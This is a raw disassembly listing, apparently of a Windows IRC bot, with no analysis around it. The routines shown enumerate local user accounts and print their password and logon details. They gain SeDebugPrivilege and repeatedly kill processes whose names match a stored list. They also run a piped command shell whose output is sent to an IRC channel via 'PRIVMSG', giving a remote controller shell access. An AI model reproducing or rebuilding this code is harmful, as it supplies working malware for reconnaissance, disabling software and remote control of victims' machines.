; ---------------------------------------------------------------------------
loc_419CA5: ; CODE XREF: sub_419B93+FFj
mov eax, offset aUser_3 ; "User"
jmp short loc_419CB1
; ---------------------------------------------------------------------------
loc_419CAC: ; CODE XREF: sub_419B93+FCj
mov eax, offset aGuest ; "Guest"
loc_419CB1: ; CODE XREF: sub_419B93+109j
; sub_419B93+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409C75
add esp, 20h
pop edi
pop ebx
jmp short loc_419F4C
; ---------------------------------------------------------------------------
loc_419F20: ; CODE XREF: sub_419B93+35j
push eax
lea eax, [ebp+var_204]
push offset unk_4506C4
push eax
call sub_41EA60
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409C75
add esp, 20h
loc_419F4C: ; CODE XREF: sub_419B93+38Bj
cmp [ebp+var_4], 0
jz short loc_419F5B
push [ebp+var_4]
call ds:dword_4E3058
loc_419F5B: ; CODE XREF: sub_419B93+40j
; sub_419B93+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419B93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F61 proc near ; CODE XREF: sub_401C87+47A6p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4198C8
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 18h
loc_419FA0: ; CODE XREF: sub_419F61+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_4E2F28
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41A001
cmp eax, 0EAh
jz short loc_41A001
push eax
push eax
call sub_41A0D7
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_45070C
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 24h
jmp short loc_41A072
; ---------------------------------------------------------------------------
loc_41A001: ; CODE XREF: sub_419F61+62j
; sub_419F61+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41A085
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_41A072
loc_41A00F: ; CODE XREF: sub_419F61+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_41A04E
push dword ptr [edi]
push offset aS_29 ; " %S"
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41A00F
jmp short loc_41A072
; ---------------------------------------------------------------------------
loc_41A04E: ; CODE XREF: sub_419F61+B6j
push offset unk_450738
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 1Ch
loc_41A072: ; CODE XREF: sub_419F61+9Ej
; sub_419F61+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41A085
push edi
call ds:dword_4E3058
xor edi, edi
mov [ebp+var_4], edi
loc_41A085: ; CODE XREF: sub_419F61+A5j
; sub_419F61+116j
cmp [ebp+var_C], 0EAh
jz loc_419FA0
cmp edi, esi
jz short loc_41A09D
push edi
call ds:dword_4E3058
loc_41A09D: ; CODE XREF: sub_419F61+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419F61 endp
; =============== S U B R O U T I N E =======================================
sub_41A0D7 proc near ; CODE XREF: sub_419737+41p
; sub_41992C+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_41A189
jz loc_41A182
cmp eax, 7Bh
ja short loc_41A14E
jz short loc_41A144
cmp eax, 5
jz short loc_41A13A
cmp eax, 8
jz short loc_41A130
cmp eax, 32h
jz short loc_41A126
cmp eax, 35h
jz short loc_41A11C
cmp eax, 57h
jnz loc_41A1D8
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A11C: ; CODE XREF: sub_41A0D7+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A126: ; CODE XREF: sub_41A0D7+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A130: ; CODE XREF: sub_41A0D7+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A13A: ; CODE XREF: sub_41A0D7+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A144: ; CODE XREF: sub_41A0D7+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A14E: ; CODE XREF: sub_41A0D7+1Aj
sub eax, 7Ch
jz short loc_41A17B
sub eax, 7C8h
jz short loc_41A174
dec eax
jz short loc_41A16A
dec eax
jnz short loc_41A1D8
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A16A: ; CODE XREF: sub_41A0D7+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A174: ; CODE XREF: sub_41A0D7+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A17B: ; CODE XREF: sub_41A0D7+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A182: ; CODE XREF: sub_41A0D7+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A189: ; CODE XREF: sub_41A0D7+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41A1C2
jz short loc_41A1BB
sub eax, 8ADh
jz short loc_41A1ED
dec eax
dec eax
jz short loc_41A1B4
dec eax
jz short loc_41A1AD
dec eax
dec eax
jnz short loc_41A1D8
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1AD: ; CODE XREF: sub_41A0D7+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1B4: ; CODE XREF: sub_41A0D7+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1BB: ; CODE XREF: sub_41A0D7+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1C2: ; CODE XREF: sub_41A0D7+B9j
sub eax, 8CAh
jz short loc_41A1F4
sub eax, 17h
jz short loc_41A1ED
sub eax, 25h
jz short loc_41A1E6
sub eax, 29h
jz short loc_41A1DF
loc_41A1D8: ; CODE XREF: sub_41A0D7+35j
; sub_41A0D7+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1DF: ; CODE XREF: sub_41A0D7+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1E6: ; CODE XREF: sub_41A0D7+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1ED: ; CODE XREF: sub_41A0D7+C2j
; sub_41A0D7+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_41A1F9
; ---------------------------------------------------------------------------
loc_41A1F4: ; CODE XREF: sub_41A0D7+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_41A1F9: ; CODE XREF: sub_41A0D7+40j
; sub_41A0D7+4Aj ...
push offset dword_4F2BF8
call sub_41EA60
pop ecx
mov eax, offset dword_4F2BF8
pop ecx
retn
sub_41A0D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A20B proc near ; CODE XREF: sub_401C87+47ECp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_421E90
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call ds:dword_4F5394 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_421E90
lea eax, [ebp+var_718]
push eax
call sub_421E60
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call ds:dword_4E2FD8
test eax, eax
jnz short loc_41A29B
mov esi, offset dword_4F29F0
push offset unk_450A40
push esi
call sub_41EA60
pop ecx
pop ecx
jmp short loc_41A2C4
; ---------------------------------------------------------------------------
loc_41A29B: ; CODE XREF: sub_41A20B+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41A0D7
pop ecx
mov esi, offset dword_4F29F0
push eax
push offset dword_450A68
push esi
call sub_41EA60
add esp, 14h
loc_41A2C4: ; CODE XREF: sub_41A20B+8Ej
mov eax, esi
pop esi
leave
retn
sub_41A20B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2C9 proc near ; CODE XREF: sub_41786C+45p
; sub_41786C+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_4F53CC ; GetCurrentProcess
push eax
call ds:dword_4E2FAC ; OpenProcessToken
test eax, eax
jnz short loc_41A2E8
leave
retn
; ---------------------------------------------------------------------------
loc_41A2E8: ; CODE XREF: sub_41A2C9+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_4E2F84 ; LookupPrivilegeValueA
test eax, eax
jz short loc_41A326
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_41A30F
or [ebp+var_8], 2
jmp short loc_41A313
; ---------------------------------------------------------------------------
loc_41A30F: ; CODE XREF: sub_41A2C9+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41A313: ; CODE XREF: sub_41A2C9+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_4E3034 ; AdjustTokenPrivileges
mov esi, eax
loc_41A326: ; CODE XREF: sub_41A2C9+32j
push [ebp+var_4]
call ds:off_4F533C
mov eax, esi
pop esi
leave
retn
sub_41A2C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A334 proc near ; CODE XREF: sub_401C87+79ABp
; sub_41A574+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_4E2FE8, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_41A544
cmp ds:dword_4E2FCC, ebx
jz loc_41A544
cmp ds:dword_4E2EDC, ebx
jz loc_41A544
push 1
push offset aSedebugprivi_1 ; "SeDebugPrivilege"
call sub_41A2C9
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_4E2FE8 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_41A537
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call ds:dword_4E2FCC ; Process32First
mov esi, ds:off_4F533C
test eax, eax
jz loc_41A532
lea eax, [ebp+var_130]
push eax
push edi
call ds:dword_4E2EDC ; Process32Next
test eax, eax
jz loc_41A532
mov edi, ds:dword_4F5358
mov ebx, 1F0FFFh
loc_41A3F8: ; CODE XREF: sub_41A334+1F6j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_41A45C
mov [ebp+var_4], eax
loc_41A402: ; CODE XREF: sub_41A334+F0j
mov eax, [ebp+var_4]
push ds:off_450BE8[eax]
lea eax, [ebp+var_10C]
push eax
call ds:dword_4F5458 ; lstrcmpi
test eax, eax
jz short loc_41A42B
add [ebp+var_4], 4
cmp [ebp+var_4], 60h
jb short loc_41A402
jmp loc_41A518
; ---------------------------------------------------------------------------
loc_41A42B: ; CODE XREF: sub_41A334+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_41A518
push 0
push eax
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz loc_41A518
loc_41A452: ; CODE XREF: sub_41A334+1CAj
push [ebp+var_4]
call esi ; sub_50B3D5
jmp loc_41A518
; ---------------------------------------------------------------------------
loc_41A45C: ; CODE XREF: sub_41A334+C9j
cmp [ebp+arg_C], eax
jnz loc_41A503
cmp [ebp+arg_4], eax
jz loc_41A518
push [ebp+var_128]
push 8
call ds:dword_4E2FE8 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41A4C3
lea ecx, [ebp+var_354]
push ecx
push eax
call ds:dword_4E2E88 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_41A4B5
lea eax, [ebp+var_234]
push eax
push offset aSD ; " %s (%d)"
jmp short loc_41A4D5
; ---------------------------------------------------------------------------
loc_41A4B5: ; CODE XREF: sub_41A334+171j
lea eax, [ebp+var_10C]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_41A4D5
; ---------------------------------------------------------------------------
loc_41A4C3: ; CODE XREF: sub_41A334+159j
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
loc_41A4D5: ; CODE XREF: sub_41A334+17Fj
; sub_41A334+18Dj
lea eax, [ebp+var_554]
push eax
call sub_41EA60
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
jmp loc_41A452
; ---------------------------------------------------------------------------
loc_41A503: ; CODE XREF: sub_41A334+12Bj
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_41A54B
loc_41A518: ; CODE XREF: sub_41A334+F2j
; sub_41A334+107j ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call ds:dword_4E2EDC ; Process32Next
test eax, eax
jnz loc_41A3F8
xor ebx, ebx
loc_41A532: ; CODE XREF: sub_41A334+9Dj
; sub_41A334+B3j
push [ebp+var_8]
call esi ; sub_50B3D5
loc_41A537: ; CODE XREF: sub_41A334+77j
push ebx
push offset aSedebugprivi_2 ; "SeDebugPrivilege"
call sub_41A2C9
pop ecx
pop ecx
loc_41A544: ; CODE XREF: sub_41A334+3Aj
; sub_41A334+46j ...
xor eax, eax
loc_41A546: ; CODE XREF: sub_41A334+23Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A54B: ; CODE XREF: sub_41A334+1E2j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; sub_50B3D5
push 0
push edi
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz short loc_41A56F
push edi
call esi ; sub_50B3D5
jmp short loc_41A544
; ---------------------------------------------------------------------------
loc_41A56F: ; CODE XREF: sub_41A334+234j
xor eax, eax
inc eax
jmp short loc_41A546
sub_41A334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A574 proc near ; DATA XREF: sub_401C87+2692o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_450C94
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41EA60
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41A5D3
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409C75
add esp, 14h
loc_41A5D3: ; CODE XREF: sub_41A574+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_41A334
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_41A601
push offset unk_450CB4
jmp short loc_41A606
; ---------------------------------------------------------------------------
loc_41A601: ; CODE XREF: sub_41A574+84j
push offset unk_450CD8
loc_41A606: ; CODE XREF: sub_41A574+8Bj
push eax
call sub_41EA60
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_41A633
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409C75
add esp, 14h
loc_41A633: ; CODE XREF: sub_41A574+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415A3C
push [ebp+var_14]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_41A574 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A652 proc near ; CODE XREF: sub_401C87+7949p
; sub_40B7CC+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call ds:dword_4F5358 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41A684
push 0
push esi
call ds:dword_4F53C4 ; TerminateProcess
test eax, eax
jnz short loc_41A684
push esi
xor edi, edi
call ds:off_4F533C
loc_41A684: ; CODE XREF: sub_41A652+1Aj
; sub_41A652+27j
mov eax, edi
pop edi
pop esi
retn
sub_41A652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41A689 proc near ; DATA XREF: sub_401404+3B8o
push esi
xor esi, esi
loc_41A68C: ; CODE XREF: sub_41A689+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_41A334
add esp, 18h
push ds:dword_450A98
call ds:dword_4F534C ; Sleep
jmp short loc_41A68C
sub_41A689 endp
; =============== S U B R O U T I N E =======================================
sub_41A6A9 proc near ; CODE XREF: sub_41A6D9+2Ap
; sub_41A711+7Ep ...
mov eax, ds:dword_4F3264
push esi
mov esi, ds:off_4F533C
cmp eax, 0FFFFFFFFh
jz short loc_41A6BD
push eax
call esi ; sub_50B3D5
loc_41A6BD: ; CODE XREF: sub_41A6A9+Fj
mov eax, ds:dword_4F326C
cmp eax, 0FFFFFFFFh
jz short loc_41A6CA
push eax
call esi ; sub_50B3D5
loc_41A6CA: ; CODE XREF: sub_41A6A9+1Cj
mov eax, ds:dword_4F3260
cmp eax, 0FFFFFFFFh
jz short loc_41A6D7
push eax
call esi ; sub_50B3D5
loc_41A6D7: ; CODE XREF: sub_41A6A9+29j
pop esi
retn
sub_41A6A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6D9 proc near ; CODE XREF: sub_401C87+7683p
; sub_4165C7+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41BC70
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push ds:dword_4F3268
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jnz short loc_41A70C
call sub_41A6A9
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A70C: ; CODE XREF: sub_41A6D9+28j
xor eax, eax
inc eax
leave
retn
sub_41A6D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A711 proc near ; CODE XREF: sub_41A798+D3p
; sub_41A798+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_4F32A8
push [ebp+arg_4]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_41A754
push 7D0h
call ds:dword_4F534C ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r"
push eax
call sub_41EA60
add esp, 10h
jmp short loc_41A76B
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A711+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_18 ; "%s"
push eax
call sub_41EA60
add esp, 0Ch
loc_41A76B: ; CODE XREF: sub_41A711+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
test eax, eax
jg short loc_41A794
call sub_41A6A9
loc_41A794: ; CODE XREF: sub_41A711+7Cj
xor eax, eax
leave
retn
sub_41A711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A798 proc near ; DATA XREF: sub_41A8ED+174o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4F3270
loc_41A7B0: ; CODE XREF: sub_41A798+79j
; sub_41A798+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push ds:dword_4F3264
call ds:dword_4F5460 ; PeekNamedPipe
test eax, eax
jz loc_41A87E
cmp [ebp+var_4], edi
jnz short loc_41A813
lea eax, [ebp+var_8]
push eax
push ds:dword_4F3260
call ds:dword_4F545C ; GetExitCodeProcess
test eax, eax
jz short loc_41A809
cmp [ebp+var_8], 103h
jnz loc_41A8A2
loc_41A809: ; CODE XREF: sub_41A798+62j
push 0Ah
call ds:dword_4F534C ; Sleep
jmp short loc_41A7B0
; ---------------------------------------------------------------------------
loc_41A813: ; CODE XREF: sub_41A798+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A82A
loc_41A81A: ; CODE XREF: sub_41A798+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A878
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A81A
loc_41A82A: ; CODE XREF: sub_41A798+80j
mov [ebp+var_4], esi
loc_41A82D: ; CODE XREF: sub_41A798+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push ds:dword_4F3264
call ds:off_4F53BC
test eax, eax
jz short loc_41A8CA
lea eax, [ebp+var_20C]
push eax
push ebx
push ds:dword_4F32A4
call sub_41A711
add esp, 0Ch
jmp loc_41A7B0
; ---------------------------------------------------------------------------
loc_41A878: ; CODE XREF: sub_41A798+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A82D
; ---------------------------------------------------------------------------
loc_41A87E: ; CODE XREF: sub_41A798+45j
push offset unk_450D10
push ebx
push ds:dword_4F32A4
call sub_41A711
push [ebp+arg_0]
call sub_40B9A7
add esp, 10h
push 1
call ds:dword_4F53A0 ; ExitThread
loc_41A8A2: ; CODE XREF: sub_41A798+6Bj
call sub_41A6A9
push offset unk_450D40
push ebx
push ds:dword_4F32A4
call sub_41A711
